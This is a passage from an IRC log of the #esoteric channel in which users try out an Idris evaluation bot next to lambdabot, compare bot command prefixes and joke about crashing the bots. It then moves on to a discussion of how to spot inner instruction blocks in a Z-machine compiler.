860849 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : `iso' (imported from Control.Lens)Not in scope: `oh' < 1393800138 23296 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :so, you write a bot in haskell and make its prefix collide with _the_ haskellbot? sounds smart. < 1393800140 998382 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :ok, @bf does not support ,. < 1393800142 912517 :ion!ion@heh.fi PRIVMSG #esoteric :melvar: Re: Idris, i know. :-) < 1393800174 411977 :Melvar!~melvar@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :oerjan: I started out with ‣ , but people complained. < 1393800225 748076 :ion!ion@heh.fi PRIVMSG #esoteric :melvar: You shouldn’t listen to people, they tend to be wrong. < 1393800228 397787 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :heh, how about 'I ' (short for 'idris') *whistles innocently* < 1393800283 471240 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :+ is free? < 1393800286 185474 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`unidecode ‣ < 1393800287 329607 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​[U+2023 TRIANGULAR BULLET] < 1393800302 364739 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Doesn't look very triangular to me < 1393800309 527250 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Looks like a thick | < 1393800316 292892 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :int-e: technically + is taken by thutubot, but it's never here so... < 1393800337 846599 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :>True < 1393800342 80575 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :aww < 1393800353 585524 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :▶▷▸▹►▻ < 1393800365 197386 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :idris-ircslave: > True < 1393800374 233215 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :lambdabot: > True < 1393800379 289820 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh hm < 1393800380 147793 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :@eval 1 < 1393800387 538671 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :err, no. < 1393800388 858522 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :@run 1 < 1393800389 859652 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : 1 < 1393800390 121063 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :lambdabot: @run True < 1393800391 63096 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : True < 1393800400 925462 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :that's a little inconvenient < 1393800406 610776 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :True. < 1393800461 608946 :reynir!~reynir@unaffiliated/reynir PRIVMSG #esoteric :> putStrLn "Hello, world! This is IO" < 1393800462 507080 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :04MkIO (\13w => 09prim_io_bind (mkForeignPrim (04FFun 04"putStr" 04[04FString04] 04FUnit) 04"Hello, world! This is IO\n" 13w) (\13x => 04prim__IO 13x)) : 12IO 12() < 1393800462 692425 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : < 1393800484 731907 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :hah! < 1393800540 374111 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> :t mkForeignPrim < 1393800540 560318 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :mkForeignPrim : (12Foreign 13x) -> 13x < 1393800541 302203 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:1: parse error on input `:' < 1393800548 929060 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> :t Foreign < 1393800549 114058 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :12Foreign : 12Type -> 12Type < 1393800549 863832 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:1: parse error on input `:' < 1393800585 116346 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I know the Idris tutorial has a chapter on FFI, I just haven't read it < 1393800620 978064 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Also, I wish standard IO just used the neweffects library < 1393800639 979963 :Melvar!~melvar@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :I have the feeling you guys are going to crash the bot before long … < 1393800650 842970 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :It's crashable? < 1393800702 294111 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :If we break something, what's the chance of it being an Idris bug vs. bot bug? < 1393800702 819033 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :> crash < 1393800703 457900 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:1:No such variable crash < 1393800793 181359 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :> unsafePerformCrashing < 1393800793 492148 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:1:No such variable unsafePerformCrashing < 1393800794 295683 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Not in scope: `unsafePerformCrashing' < 1393800811 481781 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :> fix error < 1393800811 668296 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :No such variable fix < 1393800812 475208 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : "*Exception: *Exception: *Exception: *Exception: *Exception: *Exception: *Ex... < 1393800821 145356 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: We'll see how many bots are alive tomorrow. < 1393800825 978571 :Melvar!~melvar@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :Well, it depends. The easiest way is to ask for something that diverges. I have no way available to filter that, so the idris process hangs or stackoverflows or whatever, and the bot has no real way to deal with that except terminating. < 1393800885 611916 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Just have a timeout, and if Idris doesn't respond within the timeout, restart the Idris process < 1393800887 123592 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :? < 1393800894 385168 :Melvar!~melvar@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :(It started as a weekend hack, don’t expect too much.) < 1393800907 357711 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Although some terminating functions will inevitably be terminated early < 1393800920 538222 :Melvar!~melvar@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :It has a timeout. The timeout terminates the bot, because I have no way to reset its state. < 1393800926 660985 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Ah < 1393801506 351575 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> :info < 1393801506 579358 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:1: error: expected: end of input, < 1393801506 764474 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric : operator < 1393801506 764678 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric ::info < 1393801506 764770 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :^ < 1393801507 392176 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:1: parse error on input `:' < 1393801515 992541 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> :info Type < 1393801516 198390 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:1: error: expected: end of input, < 1393801516 383501 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric : operator < 1393801516 383663 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric ::info Type < 1393801516 383761 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :^ < 1393801517 34229 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:1: parse error on input `:' < 1393801552 292853 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :What does casesplit do? < 1393801563 469942 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> :info + < 1393801563 654945 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:1: error: expected: end of input, < 1393801563 839850 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric : operator < 1393801564 24740 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric ::info + < 1393801564 24924 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :^ < 1393801564 629129 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:1: parse error on input `:' < 1393801569 629303 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> :info (+) < 1393801569 814225 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :Not a class < 1393801570 708884 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:1: parse error on input `:' < 1393801572 931411 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Ah < 1393801597 432942 :Melvar!~melvar@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :Splits cases on a pattern variable, used by editor integration. < 1393801604 365812 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :^prefixes < 1393801604 551199 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Bot prefixes: fungot ^, HackEgo `, EgoBot !, lambdabot @ or ?, thutubot +, metasepia ~, jconn ) , blsqbot ! < 1393801629 594736 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :?run 123 < 1393801630 784248 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : 123 < 1393801658 712034 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :/ is free ;-) < 1393801663 627404 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> :casesplit 5 xs < 1393801663 851584 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :: openFile: does not exist (No such file or directory) < 1393801664 623833 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:1: parse error on input `:' < 1393801671 781843 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Look at that greedy lambdabot, grabbing two prefixes. < 1393801673 94889 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :?pl \x -> not (not x) < 1393801673 280042 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :id < 1393801694 99991 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :@pl id `asTypeOf` not < 1393801694 284944 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :id `asTypeOf` not < 1393801708 230363 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(The opening parenthesis is free also.) < 1393801710 792784 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :@djinn Void -> Bool < 1393801711 132831 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :f = void < 1393801716 258342 :shikherr!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1393801727 204552 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :? < 1393801742 119978 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :void has type Void -> a < 1393801745 794221 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Ah < 1393801760 445064 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :How would void be written in Idris? < 1393801770 482008 :Melvar!~melvar@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :> :t FalseElim < 1393801770 667737 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :FalseElim : 12_|_ -> 13a < 1393801771 393117 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:1: parse error on input `:' < 1393801787 414341 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Where is it defined? < 1393801819 74917 :Melvar!~melvar@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :It’s builtin, I believe. < 1393801826 449435 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :>> ... < 1393801844 645839 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :> iterate ('>':) "> " < 1393801844 830837 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:9: error: expected: "$", < 1393801845 16001 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric : "$>", "&&", "*", "+", "++", "-", < 1393801845 16170 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric : "->", ".", "/", "/=", "::", "<", < 1393801845 16263 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric : "<$", "<$>", "<*>", "<+>", < 1393801845 16354 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric : "<->", "<<", "<=", "<|>", "=",14↵… < 1393801845 621458 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : ["> ",">> ",">>> ",">>>> ",">>>>> ",">>>>>> ",">>>>>>> ",">>>>>>>> ",">>>>>>... < 1393801898 796268 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1393801898 988443 :shikherr!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1393801902 729116 :Melvar!~melvar@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :> take 10 (iterate (strCons '>') "> ") < 1393801902 914683 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :04[04"> "04, 04">> "04, 04">>> "04, 04">>>> "04, 04">>>>> "04, 04">>>>>> "04, 04">>>>>>> "04, 04">>>>>>>> "04, 04">>>>>>>>> "04, 04">>>>>>>>>> "04] : 12Vect 0410 12String < 1393801903 751499 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Not in scope: `strCons' < 1393801920 778966 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> :t iterate < 1393801920 963806 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :09Prelude.Stream.iterate : (13a -> 13a) -> 13a -> 12Stream 13a < 1393801921 753012 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:1: parse error on input `:' < 1393801949 641508 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> :t take < 1393801949 827044 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :09Prelude.List.take : 12Nat -> (12List 13a) -> 12List 13a < 1393801950 12278 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :09Prelude.Stream.take : (13n : 12Nat) -> (12Stream 13a) -> 12Vect 13n 13a < 1393801950 197373 :idris-ircslave!~ircslave@dslb-188-109-006-022.pools.arcor-ip.net PRIVMSG #esoteric :09Prelude.Vect.take : (13m : 12Fin (04S 13n)) -> (12Vect 13n 13a) -> 12Vect (09cast 13m) 13a < 1393801950 651447 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:1: parse error on input `:' < 1393802002 560334 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I'm feeling a bit sad for poor lambdabot hitting its head on all those parse errors on input `:'. < 1393802017 294927 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :ACTION considers reading http://www.andres-loeh.de/LambdaPi/LambdaPi.pdf < 1393802034 101102 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Maybe then I'll fully understand it < 1393802083 882879 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Not that I actually understand the simply-typed lambda calculus either < 1393802318 267087 :Bicyclidine!45a62f6e@gateway/web/freenode/ip.69.166.47.110 PRIVMSG #esoteric :Chicken < 1393802545 740293 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1393802760 275822 :blitter64!~blitter@75-121-39-142.dyn.centurytel.net QUIT :Ping timeout: 252 seconds < 1393803140 27896 :Bicyclidine!45a62f6e@gateway/web/freenode/ip.69.166.47.110 QUIT :Quit: Page closed < 1393803294 891041 :Bicyclidine!45a62f6e@gateway/web/freenode/ip.69.166.47.110 JOIN :#esoteric < 1393804592 976207 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I am trying to figure out how to pattern match on a list of Z-machine instructions, and on an 'inner block' of instructions. I have already partially figured it out: There is a pseudo 'branch target' instruction to help, and each opcode has flags associated with it, for one thing. (For example, IGRTR? has flags (IF_in_place|IF_pure|IF_predicate).) < 1393804777 365974 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Do you have advice? < 1393804936 40542 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :ACTION would probably look for frotz' source code. < 1393804956 314147 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Frotz isn't a compiler (nor is it accurate). < 1393804965 574015 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I am using this for compiler optimizations. < 1393805261 676282 :nooodl!~nooodl@91.177.108.54 QUIT :Quit: Ik ga weg < 1393805485 47171 :atslash!~atslash@46.72.83.247 QUIT :Quit: This computer has gone to sleep < 1393805529 326567 :Bicyclidine!45a62f6e@gateway/web/freenode/ip.69.166.47.110 PRIVMSG #esoteric :https://twitter.com/neilyourself/status/440277640533278720/photo/1/large < 1393805533 424629 :FreeFull!~freefull@defocus/sausage-lover PRIVMSG #esoteric :zzo38: Are you writing a game? < 1393805580 540110 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I am writing a compiler. < 1393805616 443909 :mauris!~nooodl@91.177.108.54 JOIN :#esoteric < 1393805908 28908 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :And then I write a game. < 1393805974 802326 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :zzo38: Sorry, I think you've shown us the tip of an iceberg, but the question goes deeper. < 1393805993 268960 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I believe you < 1393806312 537166 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Can you explain if I missed some information, that you would require to make an answer? < 1393806941 906514 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :I was reading a bit on the Z-machine instruction format. So essentially you have some sort of assembly code (namely, Z-machine), with branches (which may go to arbitrary places in principle) and want to figure out parts that resemble well know loops? < 1393806954 267492 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Not quite. < 1393806972 822007 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Although, that is part of it, and I have partially figure it out. < 1393806988 379497 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Anyway, since it's a compiler, source language, target language and implementation language would be good information. < 1393807032 410420 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Specifically, because of the 'branch target' pseudo instruction, you can tell that a block is internally not jumping into/out of from externally, and I have figured out that much already. < 1393807040 231591 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :int-e: Implementation language is C and SQL. < 1393807069 380088 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :The source language is custom and target is Z-machine executables. < 1393807284 724006 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Is that what you wanted? < 1393807463 154780 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :yes. I'm resolving other mysteries in the meantime, for example why I could not find IGRTR. "The opcode names used in this document were agreed between 1994 and 1995 as a standard set by Mark Howell, author of the disassembler Txd (part of the Ztools suite of utility programs), and Graham Nelson, author of the assembly level of Inform. They do not correspond to Infocom's unpublished opcode names." says... < 1393807469 132180 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :...http://www.gnelson.demon.co.uk/zspec/preface.html < 1393807492 341498 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I have Infocom's opcode names and that is what I am using. < 1393807516 739869 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Also, the question mark is part of the name. < 1393807546 33309 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :(That document also contains some errors. Actually, so does Infocom's document.) < 1393807571 761251 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :I was using google. It would ignore the question mark anyway. :P < 1393807586 770544 :itsy!~john_metc@37.152.198.84 QUIT :Read error: Connection reset by peer < 1393807587 388037 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Ah, OK < 1393807588 56521 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Increment, GReaTeR? < 1393807592 9526 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Yes < 1393807601 928710 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :It means, increment and check if the new value is greater < 1393807732 551438 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :zzo38: what is your favorite game < 1393807738 15774 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I happen to think Infocom's names are better, although it is a matter of opinion. < 1393807745 192219 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :quintopia: I don't know. < 1393807769 224601 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :zzo38: do you have a top 5? < 1393807773 120784 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :No. < 1393807853 155814 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Infocom's documentation (for an unknown typesetting system) is found at: http://zzo38computer.org/backup/zspec/zip.txt for EZIP and XZIP. I also have the YZIP documentation, as well as Graham Nelson's document, and the ZIP documentation. (They all contain a few errors, unfortunately, and there are some things which none of them mention at all.) < 1393807939 57004 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I may later be able to implement a subset of that typesetting system (without knowing precisely if it is correct), in order to typeset that document. < 1393807968 524783 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :quintopia: Which games do you mean? Can you be specific? < 1393808008 247609 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :zzo38: i mean board games, card games, video games. not sports though. < 1393808021 136142 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Ah, OK, that is what I was asking. < 1393808030 980449 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I still do not know the answer. < 1393808061 369722 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :then what is the first game that you think of when i ask the question? < 1393808074 862154 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :doesn't have to be actual favorite < 1393808075 47171 :realzies!~pinky@unaffiliated/realazthat QUIT :Remote host closed the connection < 1393808077 604760 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I didn't actually think of any one specific, really. < 1393808109 366047 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Probably chess, just because I wanted to think of whether or not it counts for what you are trying to mean. < 1393808118 754449 :realzies!~pinky@unaffiliated/realazthat JOIN :#esoteric < 1393808133 873743 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :sure does < 1393808138 306417 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :zzo38: by the branch target pseudo-instruction, you mean something to the effect " All branches must be to such a label within the same routine. (The Inform assembler imposes the same-routine restriction.)"? < 1393808190 471442 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :int-e: Actually, I mean an instruction which has as operands, all addresses of instructions which can jump to it. < 1393808240 515462 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :The instruction itself does nothing. < 1393808261 80148 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :is that a real thing in the assembly language? < 1393808297 565119 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :It is a feature in my compiler. It compiles directly to binary code, deleting all such branch target instructions when writing the output. < 1393808343 828047 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :It doesn't use assembly language. < 1393808347 361114 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :ah, so it's like an assertion < 1393808361 442315 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :"cause a compiler error if anything else would try to branch to here"? < 1393808382 551132 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Kind of. < 1393808392 536472 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :However, it is also an error to branch to anything that isn't a branch target instruction. < 1393808407 10358 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :sounds like a much safer way to GOTO < 1393808465 970976 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :zzo38: so looking for such an instruction in the z-machine specification will fail? I misunderstood you once again. < 1393808467 543310 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Such feature is provided only for optimization, and is removed during the final compiling step (so are all other pseudo instructions, except for FSTACK which is replaced by ICALL to routine 0 taking its argument from the stack). < 1393808480 830284 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :int-e: Yes, there is no branch target instruction in the Z-machine. < 1393808504 820853 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :zzo38: how do you use it for optimization < 1393808531 955707 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :In order to skip past an "inner block", all branch target instructions and all branches must point to within the block. < 1393808542 254684 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Otherwise it is not a complete "inner block". < 1393808560 374149 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :so ... i: [come from a: b: c:] ... a: [branch i:] ... b: [branch i:] ... c: [branch i:] would be something like a basic loop. < 1393808573 341541 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :int-e: Yes. < 1393808577 792140 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :(where I write "come from" for the branch target thing) < 1393808585 760442 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Yes. < 1393808614 472115 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :and ... does not contain branches or branch targets. < 1393808623 734483 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Yes. < 1393808624 180922 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :well, ... can be composed of more such "inner" blocks. < 1393808637 276161 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Yes, it can be. < 1393808750 347831 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :In reality it's a bit more fun. This looks reasonable: i: [come from a,b]. [branch skip] a: [branch i] skip: b: [branch i] < 1393808793 917424 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :so i ... b spans an inner block where branches to i, 